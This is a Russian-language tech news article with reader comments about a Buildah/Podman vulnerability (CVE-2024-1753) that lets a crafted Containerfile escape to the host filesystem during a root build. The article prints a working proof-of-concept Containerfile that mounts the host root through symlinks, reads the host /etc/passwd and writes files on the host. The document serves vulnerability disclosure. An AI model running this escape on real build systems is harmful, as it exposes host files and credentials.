The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]

Уязвимость в Buildah и Podman, позволяющая обойти изоляцию контейнера

18.03.2024 22:20

В пакетах Buildah и Podman выявлена уязвимость (CVE-2024-1753), позволяющая получить полный доступ к файловой системе хост-окружения на стадии сборки контейнера, запускаемого с правами root. На системах с включённым SELinux доступ к хостовой ФС ограничивается режимом только чтения. Исправление пока доступно в виде патча, который несколько минут назад принят в кодовую базу Buildah.

Уязвимость вызвана тем, что при выполнении монтирования частей ФС через команду "mount --bind" во время сборки на стадии RUN, аргумент с исходным каталогом (параметр "source=") не проверяется на предмет существования в корневой ФС. Оформленный злоумышленником файл конфигурации Containerfile может использовать образ контейнера, в котором исходный каталог для монтирования оформлен в виде символической ссылки на корневую ФС. В этом случае операция монтирования приведёт к пробрасыванию внутрь контейнера корневой ФС хост-окружения, что позволит на стадии RUN получить полный доступ к файловой системе хост-окружения и организовать выход из контейнера во время сборки командами "buildah build" или "podman build".

Пример вредоносного файла Containerfile, сборка которого командой "podman build -f ~/Containerfile ." приведёт к показу содержимого /etc/passwd и созданию файлов /BIND_BREAKEOUT и /etc/BIND_BREAKOUT2 в хост-окружении:



   FROM alpine as base
   
   RUN ln -s / /rootdir
   RUN ln -s /etc /etc2

   FROM alpine

   RUN echo "ls container root"
   RUN ls -l /

   RUN echo "With exploit show host root, not the container's root, and create /BIND_BREAKOUT in / on the host"
   RUN --mount=type=bind,from=base,source=/rootdir,destination=/exploit,rw ls -l /exploit; touch /exploit/BIND_BREAKOUT; ls -l /exploit

   RUN echo "With exploit show host /etc/passwd, not the container's, and create /BIND_BREAKOUT2 in /etc on the host"
   RUN --mount=type=bind,rw,source=/etc2,destination=/etc2,from=base ls -l /; ls -l /etc2/passwd; cat /etc2/passwd; touch /etc2/BIND_BREAKOUT2; ls -l /etc2 



  1. Главная ссылка к новости (https://access.redhat.com/secu...)
  2. OpenNews: Выпуск Podman Desktop 1.2, графического интерфейса для управления контейнерами
  3. OpenNews: Уязвимость в cgroups v1, позволяющая выйти из изолированного контейнера
  4. OpenNews: Уязвимость в подсистеме io_uring ядра Linux, позволяющая получить права root из контейнера
  5. OpenNews: В Docker Hub выявлено 1600 вредоносных образов контейнеров
  6. OpenNews: Уязвимость в runc, позволяющая выбраться из контейнеров Docker и Kubernetes
Лицензия: CC BY 3.0
Короткая ссылка: https://opennet.ru/60805-buildah
Ключевые слова: buildah, podman, container
При перепечатке указание ссылки на opennet.ru обязательно


Обсуждение (11) Ajax | 1 уровень | Линейный | +/- | Раскрыть всё | RSS
  • 1.1, Аноним (1), 22:38, 18/03/2024 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/
    Именно поэтому контейнеры нужно собирать с помощью kaniko. Разумеется, из контейнера.
     
     
  • 2.2, Alex Gluck (?), 22:57, 18/03/2024 [^] [^^] [^^^] [ответить]  
  • +/
    Нет не нужно, продолжайте собирать контейнеры buildah из контейнера и проблема вас не затронет.
     

  • 1.3, Анонимус3000 (?), 23:22, 18/03/2024 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    mount=type=bind,rw,source=/etc2,destination=/etc2

    А тут точно всё правильно? Что это за сорс такой в хостовой системе?

     
     
  • 2.4, Аноним (1), 00:08, 19/03/2024 [^] [^^] [^^^] [ответить]  
  • +/
    Это символьная ссылка, взятая из предыдущей стадии сборки. Из-за дыры в buildah она интерпретируется как точка монтирования файловой системы хоста.
     

  • 1.7, Аноним (7), 00:34, 19/03/2024 [ответить] [﹢﹢﹢] [ · · · ]  
  • –1 +/
    >исходный каталог для монтирования оформлен в виде символической ссылки на корневую ФС.

    Эпический фейл!

     
  • 1.10, Аноним (10), 04:02, 19/03/2024 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Зачем контейнеры собирать на продакшене, если есть возможность использовать другие, менее критические среды? Вот говорят что под рутом нельзя пакеты собирать, я в виртуалке пакеты собираю, если что-то потрется из снапшота или бэкапа восстановлю.
     
     
  • 2.25, RarogCmex2 (?), 08:22, 19/03/2024 [^] [^^] [^^^] [ответить]  
  • +3 +/
    Получить вирус в стейджинг тоже ничего хорошего
     
     
  • 3.27, Аноним (-), 11:31, 19/03/2024 [^] [^^] [^^^] [ответить]  
  • +/
    Так для этого надо самому собирать, а не из FROM.
     

  • 1.26, Аноним (-), 09:35, 19/03/2024 Скрыто ботом-модератором [﹢﹢﹢] [ · · · ]     [к модератору]
  • +1 +/
     
  • 1.28, anonymous (??), 13:22, 19/03/2024 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Потому что надо было назвать программу builder и не выпендриваться.

     
     
  • 2.30, Аноним (1), 14:39, 19/03/2024 [^] [^^] [^^^] [ответить]  
  • +/
    А как же очаровательный реднековский колорит?
     

     Добавить комментарий
    Имя:
    E-Mail:
    Текст:



    Партнёры:
    PostgresPro
    Inferno Solutions
    Hosting by Hoster.ru
    Хостинг:

    Закладки на сайте
    Проследить за страницей
    Created 1996-2024 by Maxim Chirkov
    Добавить, Поддержать, Вебмастеру